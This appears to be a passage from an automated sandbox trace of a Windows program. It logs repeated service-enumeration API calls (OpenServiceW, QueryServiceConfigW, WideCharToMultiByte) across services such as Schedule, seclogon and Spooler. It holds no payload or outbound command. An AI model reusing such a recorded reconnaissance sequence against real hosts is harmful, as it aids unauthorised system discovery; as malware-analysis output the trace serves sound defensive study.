pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d1fcc0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x1d1fcc0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scardsvr", lpUsedDefaultChar=0x0) returned 8 [0028.125] OpenServiceW (hSCManager=0x286c38, lpServiceName="SCardSvr", dwDesiredAccess=0x1) returned 0x286e18 [0028.125] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.125] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.125] GetLastError () returned 0x7a [0028.125] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fd08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x1d1fd08, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedule", lpUsedDefaultChar=0x0) returned 8 [0028.126] OpenServiceW (hSCManager=0x286c38, lpServiceName="Schedule", dwDesiredAccess=0x1) returned 0x286d00 [0028.126] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.126] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.126] GetLastError () returned 0x7a [0028.126] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x1d1fd50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scpolicysvc", lpUsedDefaultChar=0x0) returned 11 [0028.126] OpenServiceW (hSCManager=0x286c38, lpServiceName="SCPolicySvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.126] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.127] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.127] GetLastError () returned 0x7a [0028.127] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x116, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fd98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x1d1fd98, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdrsvc", lpUsedDefaultChar=0x0) returned 6 [0028.127] OpenServiceW (hSCManager=0x286c38, lpServiceName="SDRSVC", dwDesiredAccess=0x1) returned 0x286d28 [0028.127] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.127] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.128] GetLastError () returned 0x7a [0028.128] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fde0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x1d1fde0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="seclogon", lpUsedDefaultChar=0x0) returned 8 [0028.128] OpenServiceW (hSCManager=0x286c38, lpServiceName="seclogon", dwDesiredAccess=0x1) returned 0x286e18 [0028.128] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.128] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.128] GetLastError () returned 0x7a [0028.128] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fe28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x1d1fe28, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sens", lpUsedDefaultChar=0x0) returned 4 [0028.129] OpenServiceW (hSCManager=0x286c38, lpServiceName="SENS", dwDesiredAccess=0x1) returned 0x286d00 [0028.129] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.129] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.129] GetLastError () returned 0x7a [0028.129] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fe70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x1d1fe70, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensrsvc", lpUsedDefaultChar=0x0) returned 8 [0028.130] OpenServiceW (hSCManager=0x286c38, lpServiceName="SensrSvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.130] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.130] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.130] GetLastError () returned 0x7a [0028.130] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1feb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x1d1feb8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionenv", lpUsedDefaultChar=0x0) returned 10 [0028.130] OpenServiceW (hSCManager=0x286c38, lpServiceName="SessionEnv", dwDesiredAccess=0x1) returned 0x286d28 [0028.131] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.131] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.131] GetLastError () returned 0x7a [0028.131] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1ff00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x1d1ff00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sharedaccess", lpUsedDefaultChar=0x0) returned 12 [0028.131] OpenServiceW (hSCManager=0x286c38, lpServiceName="SharedAccess", dwDesiredAccess=0x1) returned 0x286e18 [0028.131] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.131] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.132] GetLastError () returned 0x7a [0028.132] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1ff48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x1d1ff48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shellhwdetection", lpUsedDefaultChar=0x0) returned 16 [0028.132] OpenServiceW (hSCManager=0x286c38, lpServiceName="ShellHWDetection", dwDesiredAccess=0x1) returned 0x286d00 [0028.132] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.132] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.132] GetLastError () returned 0x7a [0028.132] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1ff90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x1d1ff90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap", lpUsedDefaultChar=0x0) returned 8 [0028.133] OpenServiceW (hSCManager=0x286c38, lpServiceName="SNMPTRAP", dwDesiredAccess=0x1) returned 0x286dc8 [0028.133] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.133] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.133] GetLastError () returned 0x7a [0028.133] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0xf4, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x1d1ffd8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap.exe", lpUsedDefaultChar=0x0) returned 12 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x1d1ffd8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spooler", lpUsedDefaultChar=0x0) returned 7 [0028.134] OpenServiceW (hSCManager=0x286c38, lpServiceName="Spooler", dwDesiredAccess=0x1) returned 0x286d28 [0028.134] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.134] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.134] GetLastError () returned 0x7a [0028.134] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x1d20020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x1d20020, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc", lpUsedDefaultChar=0x0) returned 6 [0028.134] OpenServiceW (hSCManager=0x286c38, lpServiceName="sppsvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.135] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.137] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.137] GetLastError () returned 0x7a [0028.137] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x1d20068, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x1d20068, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppuinotify", lpUsedDefaultChar=0x0) returned 11 [0028.138] OpenServiceW (hSCManager=0x286c38, lpServiceName="sppuinotify", dwDesiredAccess=0x1) returned 0x286d00 [0028.138] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.138] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.138] GetLastError () returned 0x7a [0028.138] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d200b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x1d200b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssdpsrv", lpUsedDefaultChar=0x0) returned 7 [0028.139] OpenServiceW (hSCManager=0x286c38, lpServiceName="SSDPSRV", dwDesiredAccess=0x1) returned 0x286dc8 [0028.139] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.139] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.139] GetLastError () returned 0x7a [0028.139] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x148, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d200f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 